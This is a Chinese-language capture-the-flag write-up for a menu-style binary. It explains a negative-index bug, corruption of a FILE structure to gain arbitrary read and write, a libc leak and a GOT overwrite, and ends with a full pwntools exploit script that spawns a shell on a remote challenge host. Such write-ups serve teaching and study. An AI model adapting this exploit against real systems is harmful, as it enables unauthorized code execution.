checksec 查看程序保护
supergate@ubuntu:~/Desktop/Pwn$ checksec pwn
[*] '/home/supergate/Desktop/Pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
发现程序除了PIE其他保护都打开了
对程序的功能进行分析发现,是一个菜单题
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // eax
const char **v5; // [rsp+0h] [rbp-20h]
signed int v6; // [rsp+18h] [rbp-8h]
v5 = argv;
v6 = 1;
init();//通过fopen函数初始化了一个FILE文件结构
print_menu();
do
{
printf("choice>> ", v5);
choice = read_int();
if ( choice == 2 )
{
wizard_spell();
continue;
}
if ( choice <= 2 )
{
if ( choice == 1 )
{
create_wizard();
continue;
}
goto LABEL_16;
}
if ( choice != 3 )
{
if ( choice == 4 )
{
fclose(log_file);
exit(0);
}
LABEL_16:
puts("Invalid choice!");
continue;
}
if ( v6 )
final_chance();
v6 = 0;
}
while ( left_wizard );
puts("No wizard any more!");
fclose(log_file);
return 0;
}
提供了三个选项
spell
函数中的具体操作如下
unsigned __int64 wizard_spell()
{
int v0; // ST04_4
char v2; // [rsp+3h] [rbp-3Dh]
__int64 wz_list; // [rsp+8h] [rbp-38h]
char v4; // [rsp+10h] [rbp-30h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("Who will spell:");
v2 = read_int();
if ( !wizards[v2] || v2 > 2 )
{
puts("evil wizard!");
exit(0);
}
wz_list = wizards[v2];
if ( *(_QWORD *)(wz_list + 0x28) > 0LL )
{
if ( *(_QWORD *)(wz_list + 0x28) <= 49LL )
{
puts("fail!");
}
else
{
printf("Spell name:");
v0 = my_read(&v4, 0x20uLL);
write_spell(&v4, v0);
read_spell();
*(_QWORD *)(wz_list + 0x28) -= 50LL;
puts("success!");
}
}
else
{
puts("muggle!");
strcpy((char *)(wz_list + 8), desc_muggle);
--left_wizard;
}
return __readfsqword(0x28u) ^ v5;
}
在对输入的下标进行check的时候,没有判断下标下界,导致可以输入负数而访问wizards数组上方的数据,而之前的FILE结构log_file
正好在wizards数组前面
.bss:00000000006020E0 log_file dq ? ; DATA XREF: main:loc_400A3D↑r
.bss:00000000006020E0 ; main+D2↑r ...
.bss:00000000006020E8 align 10h
.bss:00000000006020F0 public wizards
.bss:00000000006020F0 ; __int64 wizards[3]
.bss:00000000006020F0 wizards dq ? ; DATA XREF: create_wizard+1D↑r
.bss:00000000006020F0 ; create_wizard+C2↑w ...
我们发现只要输入-2,则可以访问到log_file
。
并且其中write_spell
和read_spell
中会分别用到fwrite
和fread
,这正好为我们对FILE结构体进行攻击提供了便利。但是要注意需要先spell一次正常的chunk来初始化log_file
数据,否则会被muggle掉
对FILE结构体的介绍可以参考这一篇文章
我们发现,上述函数有这样一句话
*(_QWORD *)(wz_list + 0x28) -= 50LL;
而当输入-2时,wz_list正好为log_file,根据FILE文件结构体,wz_lsit+0x28
指向的是_IO_write_ptr
。
因此,我们可以多次对_IO_write_ptr
进行修改,将其修改为log_file
开头,这样就控制了整个log_file
结构,就达到了任意地址读写的目的。
考虑构造以下操作
for i in range(8):
spell(-2,'\x00')
spell(-2,'\x00'*13)
for i in range(3):
spell(-2,'\x00')
spell(-2,'\x00'*9)
spell(-2,'\x00')
需要注意两个地方:
_IO_write_ptr
加n,所以实际上一次最多能够使得_IO_write_ptr
减去49_IO_write_ptr
指向的地址,而file结构体和下方的chunk的值本身不能被改变,否则会出现一些奇怪的错误。所以每次spell的长度都需要构造,具体输入长度需要根据调试确定通过上面的操作,在下次write_spell
的时候,即调用fwrite
函数之前,log_fiel
的FILE结构是这个样子的
pwndbg> x/100gx 0x687000
0x687000: 0x0000000000000000 0x0000000000000231
0x687010: 0x00000000fbad24a8 0x0000000000687480
0x687020: 0x00000000006882a0 0x00000000006872a0
0x687030: 0x00000000006872a0 0x0000000000687005 <======== 0x687038 _IO_write_ptr
0x687040: 0x00000000006872a0 0x00000000006872a0
0x687050: 0x00000000006882a0 0x0000000000000000
0x687060: 0x0000000000000000 0x0000000000000000
0x687070: 0x0000000000000000 0x00007f8be3e82540
0x687080: 0x0000000000000003 0x0000000000000000
0x687090: 0x0000000000000000 0x00000000006870f0
0x6870a0: 0xffffffffffffffff 0x0000000000000000
0x6870b0: 0x0000000000687100 0x0000000000000000
0x6870c0: 0x0000000000000000 0x0000000000000000
0x6870d0: 0x00000000ffffffff 0x0000000000000000
0x6870e0: 0x0000000000000000 0x00007f8be3e806e0
0x6870f0: 0x0000000000000000 0x0000000000000000
0x687100: 0x0000000000000000 0x0000000000000000
0x687110: 0x0000000000000000 0x0000000000000000
0x687120: 0x0000000000000000 0x0000000000000000
0x687130: 0x0000000000000000 0x0000000000000000
0x687140: 0x0000000000000000 0x0000000000000000
0x687150: 0x0000000000000000 0x0000000000000000
0x687160: 0x0000000000000000 0x0000000000000000
0x687170: 0x0000000000000000 0x0000000000000000
0x687180: 0x0000000000000000 0x0000000000000000
0x687190: 0x0000000000000000 0x0000000000000000
0x6871a0: 0x0000000000000000 0x0000000000000000
0x6871b0: 0x0000000000000000 0x0000000000000000
0x6871c0: 0x0000000000000000 0x0000000000000000
0x6871d0: 0x0000000000000000 0x0000000000000000
0x6871e0: 0x0000000000000000 0x0000000000000000
0x6871f0: 0x0000000000000000 0x0000000000000000
0x687200: 0x0000000000000000 0x0000000000000000
0x687210: 0x0000000000000000 0x0000000000000000
0x687220: 0x0000000000000000 0x0000000000000000
0x687230: 0x00007f8be3e80260 0x0000000000000041 <========= wizard 0
0x687240: 0x0000000000687280 0x00006472617a6957
0x687250: 0x0000000000000000 0x0000000000000000
0x687260: 0x0000000000000000 0x00000000000002ee
0x687270: 0x0000000000000000 0x0000000000000021
0x687280: 0x0000000a61616161 0x0000000000000000
0x687290: 0x0000000000000000 0x0000000000001011
0x6872a0: 0x9aa590dd05d6aa02 0x513b6380ccbf219e
0x6872b0: 0xc6d55d59824a1c5f 0xdc8209c42fc0989c
0x6872c0: 0xed4acb3d3587db7d 0x9cc9b9f930f85338
0x6872d0: 0x0ba949fdfe9aaaaa 0x84913008ede9b8e5
0x6872e0: 0x9ed485bba1a57e12 0xd65b2624dc64b5d0
0x6872f0: 0xf3614d4b31f9ab48 0x0267155720cb36f5
0x687300: 0x9edefb9ff910d683 0xa83c487068b107a2
0x687310: 0xf178e4a5f81dcb20 0x86bde6dc7e73ea98
因此,我们现在需要泄露libc地址,所以只需要修改_IO_read_ptr
为atoi_got
就可以了,因此构造以下代码
payload='\x00'*3+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)
payload=p64(elf.got['atoi'])+p64(elf.got['atoi']+0x100)
spell(0,payload)
atoi_addr=u64(p.recv(8))
log.info("atoi address =======> %x"%atoi_addr)
注意第三排之所以是+0x100,而不是+8,正是为了避免_IO_read_end==_IO_read_ptr
,而导致相关指针被重置的情况
[*] atoi address =======> 7f8be3af3e80
成功的泄露了libc地址,所以可考虑修改atoi.got,改为system.got即可
如果要做到这一点,我们需要把_IO_write_ptr
修改为atoi.got,尝试构造以下代码
payload=p64(elf.got['atoi'])*3+p64(elf.got['atoi']+8)
spell(0,payload)
查看执行完毕后的FILE结构
pwndbg> x/100gx 0x25a1000
0x25a1000: 0x0000000000000000 0x0000000000000231
0x25a1010: 0x00000000fbad24a8 0x00000000006020a0
0x25a1020: 0x0000000000602180 0x0000000000602080
0x25a1030: 0x0000000000602080 0x00000000025a1048<=====0x25a1038 _IO_write_ptr
0x25a1040: 0x0000000000602088 0x00000000025a12a0
发现除了_IO_write_ptr
其他的地址都正确被写入。
经过动态调试后可以知道,在跟进fwrite
之后,会调用函数_IO_new_file_xsputn
,这个函数内部会将_IO_write_ptr
写回原先正常的地址。由此,我们不能通过 fwrite 来对_IO_write_ptr 做修改,我们应该借助 fread 来修_IO_write_ptr。
为了达到该目的,我们需要构造以下条件:
_IO_read_ptr>=_IO_read_end
,由于接下来调用fread
函数就会进入_IO_new_file_underflow
,因此我们需要满足这个条件,从而将所有指针都指向_IO_buf_base
_IO_buf_base
,由于_IO_write_ptr
也是指向_IO_buf_base
的,所以相当于可以任意地址写了_IO_write_ptr<_IO_write_end
基于此,构造代码如下
##### flag
# 先将_IO_write_ptr上移,方法同上
# 但是要注意保证每个指针都是NULL或者是正确指针,否则会炸
# 因此这里使用p64(0)*2,内存对齐
spell(-2,p64(0)*2)
payload='\x00'*2+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)
##### read_ptr+read_end+read_base
# 下面这一段代码泄露heap基地址,这样就可以修改_IO_write_end,从而满足条件3
# 注意logfile_addr+0x40是为满足条件1做铺垫
# 因为每次调用fread都是0x20字节,所以两轮(本次和下次)调用后
# _IO_read_ptr+=0x40
# 就能够刚好满足条件1
payload=p64(logfile_addr)+p64(logfile_addr+0x40)+p64(logfile_addr)
spell(0,payload)
heap_addr=u64(p.recv(8))-0x10
log.info("heap address =======> %x"%heap_addr)
##### write_base+write_ptr+write_end
# 主要是为了修改write_end,这里不一定必须要为0x100
# 只要满足_buf_base和_buf_end在[write_ptr,write_end]范围内即可
payload=p64(heap_addr+0x100)*3
spell(0,payload)
##### buf_base+buf_end
# 为了满足条件2
# 之所以不直接赋值atoi的got地址,是因为现在所有指针都指向_IO_buf_base
# 这样的话_IO_write_ptr==_IO_write_end,是无法在atoi.got写入的
# 所以可以先指向atoi.got,通过spell(-2,'\x00'*n)可以构造
# 使得write_ptr指向atoi.got
payload=p64(elf.got['atoi']+49*3+1)+p64(elf.got['atoi']+49*3+1+0x100)
spell(0,payload)
至此,我们就可以通过fwrite
来向atoi的got写入内容了
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./pwn')
p=remote('111.198.29.45',34475)
elf=ELF('./pwn')
logfile_addr=0x6020E0
def create(name):
p.sendlineafter('>> ','1')
p.sendlineafter('name:',name)
def spell(idx,content):
p.sendlineafter('>> ','2')
p.sendlineafter('spell:',str(idx))
p.sendafter('name:',content)
create('aaaa')
spell(0,'bbbb')
for i in range(8):
spell(-2,'\x00')
spell(-2,'\x00'*13)
for i in range(3):
spell(-2,'\x00')
spell(-2,'\x00'*9)
spell(-2,'\x00')
payload='\x00'*3+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)
payload=p64(elf.got['atoi'])+p64(elf.got['atoi']+0x100)
spell(0,payload)
atoi_addr=u64(p.recv(8))
obj=LibcSearcher('atoi',atoi_addr)
system_addr=atoi_addr-obj.dump('atoi')+obj.dump('system')
bin_sh_addr=atoi_addr-obj.dump('atoi')+obj.dump('str_bin_sh')
gadget_addr=atoi_addr-obj.dump('atoi')+0xf1147
##### flag
spell(-2,p64(0)*2)
payload='\x00'*2+p64(0x231)+p64(0xfbad24a8)
spell(0,payload)
##### read_ptr+read_end+read_base
payload=p64(logfile_addr)+p64(logfile_addr+0x40)+p64(logfile_addr)
spell(0,payload)
heap_addr=u64(p.recv(8))-0x10
log.info("heap address =======> %x"%heap_addr)
##### write_base+write_ptr+write_end
payload=p64(heap_addr+0x100)*3
spell(0,payload)
##### buf_base+buf_end
payload=p64(elf.got['atoi']+49*3+1)+p64(elf.got['atoi']+49*3+1+0x100)
spell(0,payload)
#gdb.attach(p)
spell(-2,'\x00')
spell(-2,chr((heap_addr>>16)&0xff))
spell(-2,'\x0f')
spell(0,p64(gadget_addr))
p.interactive()